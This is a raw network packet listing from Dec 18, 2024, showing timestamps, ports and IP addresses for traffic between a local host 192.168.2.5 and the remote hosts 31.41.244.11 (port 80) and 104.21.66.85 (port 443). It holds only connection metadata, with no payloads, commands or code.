Dec 18, 2024 21:30:46.303706884 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.303723097 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.304254055 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.304265976 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.304275036 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.304306030 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.304322004 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.304941893 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.304954052 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.304991961 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.305550098 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.305562019 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.305598021 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.306255102 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.306266069 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.306302071 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.306983948 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.306994915 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.307004929 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.307034016 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.307049036 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.308048010 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.308059931 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.308101892 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.308361053 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.308377028 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.308420897 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.309130907 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.309149027 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.309195042 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.309735060 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.309746027 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.309782028 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.310400963 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.310412884 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.310422897 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.310467005 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.311192036 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.311203957 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.311276913 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.311743975 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.311754942 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.311784983 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.312500954 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.312513113 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.312557936 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.313143969 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.313153982 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.313163042 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.313204050 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.313220024 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.313803911 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.313816071 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.313864946 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.314250946 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.314521074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.314533949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.314574957 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.315701962 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.315712929 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.315764904 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.316237926 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.316250086 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.316279888 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.316306114 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.316791058 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.316808939 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.316838026 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.316853046 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.476239920 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.476330996 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.476344109 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.476407051 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.476861954 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.477013111 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.477062941 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.477346897 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.477359056 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.477416039 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.477427959 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.478029966 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.478070974 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.478264093 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.478360891 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.478415012 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.479005098 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.479017019 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.479068995 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.479698896 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.479712009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.479720116 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.479734898 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.479758978 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.480689049 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.480700970 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.480724096 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.480737925 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.481229067 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.481240988 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.481265068 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.481277943 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.481637001 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.481648922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.481679916 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.482788086 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.482800007 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.482837915 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.483048916 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.483059883 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.483069897 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.483093023 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.483108044 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.483671904 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.483684063 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.483728886 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.484596014 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.484606981 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.484642029 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.485618114 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.485629082 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.485637903 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.485649109 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.485657930 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.485661983 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.485685110 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.485704899 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.486262083 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.486274004 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.486309052 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.486905098 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.486916065 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.486947060 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.488317013 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.488328934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.488339901 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.488351107 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.488353014 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.488385916 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.489959955 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.489994049 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.490001917 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.490014076 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.490042925 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.490495920 CET	443	49823	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:46.490569115 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.490581036 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.490592003 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.490618944 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.490642071 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.490689993 CET	443	49823	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:46.490739107 CET	49823	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:46.491091013 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.491102934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.491136074 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.491842985 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.491858006 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.491899014 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.492508888 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.492521048 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.492546082 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.492573977 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.493176937 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.493189096 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.493211985 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.493230104 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.493971109 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.493988991 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.494031906 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.494605064 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.494616985 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.494626045 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.494662046 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.495206118 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.495249987 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.495290041 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.495837927 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.495850086 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.495908022 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.495920897 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.496608973 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.496649027 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.496763945 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.496804953 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.497301102 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.497313023 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.497343063 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.497359037 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.497890949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.498060942 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.498106003 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.498699903 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.498713017 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.498749018 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.499336004 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.499372959 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.499418020 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.500163078 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.500204086 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.500220060 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.500874043 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.500888109 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.500897884 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.500920057 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.500945091 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.501605988 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.501619101 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.501645088 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.501669884 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.502516031 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.502528906 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.502568960 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.503123999 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.503135920 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.503180027 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.503781080 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.503793955 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.503806114 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.503823042 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.503851891 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.504477978 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.504489899 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.504518986 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.504537106 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.505311966 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.505322933 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.505348921 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.505363941 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.505980015 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.505994081 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.506035089 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.506757021 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.506771088 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.506805897 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.507524014 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.507538080 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.507549047 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.507567883 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.507596016 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.508155107 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.508167982 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.508203030 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.508713007 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.508728027 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.508750916 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.508780956 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.509573936 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.509588003 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.509598970 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.509609938 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.509629965 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.599059105 CET	49823	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:46.599080086 CET	443	49823	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:46.683392048 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.683406115 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.683417082 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.683494091 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.684520006 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.684531927 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.684541941 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.684590101 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.684629917 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.684803963 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.684814930 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.684859037 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.684868097 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.685580015 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.685590982 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.685628891 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.686686039 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.686697960 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.686707973 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.686721087 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.686736107 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.686769962 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.687360048 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.687372923 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.687397957 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.687418938 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.687937021 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.687948942 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.687999964 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.689308882 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.689320087 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.689330101 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.689340115 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.689358950 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.689377069 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.690682888 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.690695047 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.690706015 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.690716982 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.690722942 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.690727949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.690747976 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.690782070 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.692050934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.692063093 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.692073107 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.692084074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.692106009 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.692133904 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.693451881 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.693464041 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.693474054 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.693485022 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.693495989 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.693495989 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.693521023 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.693531036 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.694315910 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.694329023 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.694354057 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.694372892 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.695365906 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.695377111 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.695415020 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.695512056 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.695523977 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.695559025 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.696225882 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.696238041 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.696310997 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.696326017 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.696979046 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.696990967 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.697000980 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.697020054 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.697027922 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.697681904 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.697694063 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.697722912 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.697740078 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.698429108 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.698440075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.698474884 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.698987007 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.698998928 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.699034929 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.700349092 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.700360060 CET	80	49819	31.41.244.11	192.168.2.5
